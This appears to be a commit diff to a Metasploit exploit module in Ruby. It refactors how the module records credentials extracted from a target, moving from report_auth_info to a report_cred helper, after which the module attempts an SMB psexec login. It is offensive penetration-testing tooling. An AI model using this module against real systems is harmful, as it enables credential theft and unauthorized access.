@@ -58,6 +58,33 @@ def initialize(info = {})
58
58
] , self . class )
59
59
end
60
60
61
+ def report_cred ( opts )
62
+ service_data = {
63
+ address : opts [ :ip ] ,
64
+ port : opts [ :port ] ,
65
+ service_name : opts [ :service_name ] ,
66
+ protocol : 'tcp' ,
67
+ workspace_id : myworkspace_id
68
+ }
69
+
70
+ credential_data = {
71
+ module_fullname : fullname ,
72
+ post_reference_name : self . refname ,
73
+ private_data : opts [ :password ] ,
74
+ origin_type : :service ,
75
+ private_type : :password ,
76
+ username : opts [ :user ]
77
+ } . merge ( service_data )
78
+
79
+ login_data = {
80
+ core : create_credential ( credential_data ) ,
81
+ status : opts [ :status ] ,
82
+ last_attempted_at : DateTime . now
83
+ } . merge ( service_data )
84
+
85
+ create_credential_login ( login_data )
86
+ end
87
+
61
88
def exploit
62
89
print_status ( "Sending request to #{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } " )
63
90
@@ -104,18 +131,6 @@ def exploit
104
131
pass = resp [ pass_index +1 ] . gsub ( /\" / , "" )
105
132
end
106
133
107
- # report the auth
108
- auth = {
109
- :host => datastore [ 'RHOST' ] ,
110
- :port => 445 ,
111
- :sname => 'smb' ,
112
- :proto => 'tcp' ,
113
- :user => user ,
114
- :pass => pass ,
115
- :active => true
116
- }
117
- report_auth_info ( auth )
118
-
119
134
srvc = {
120
135
:host => datastore [ 'RHOST' ] ,
121
136
:port => datastore [ 'RPORT' ] ,
@@ -159,11 +174,31 @@ def exploit
159
174
'RunAsJob' => true
160
175
)
161
176
rescue
177
+ report_cred (
178
+ ip : datastore [ 'RHOST' ] ,
179
+ port : 445 ,
180
+ service_name : 'smb' ,
181
+ user : user ,
182
+ password : pass ,
183
+ status : Metasploit ::Model ::Login ::Status ::INCORRECT
184
+ )
185
+
162
186
print_status ( "Login attempt using windows/smb/psexec failed" )
163
187
print_status ( "Credentials have been stored and may be useful for authentication against other services." )
188
+ # report the auth
164
189
return
165
190
end
166
191
192
+ # report the auth
193
+ report_cred (
194
+ ip : datastore [ 'RHOST' ] ,
195
+ port : 445 ,
196
+ service_name : 'smb' ,
197
+ user : user ,
198
+ password : pass ,
199
+ status : Metasploit ::Model ::Login ::Status ::SUCCESSFUL
200
+ )
201
+
167
202
handler
168
203
end
169
204
end
0 commit comments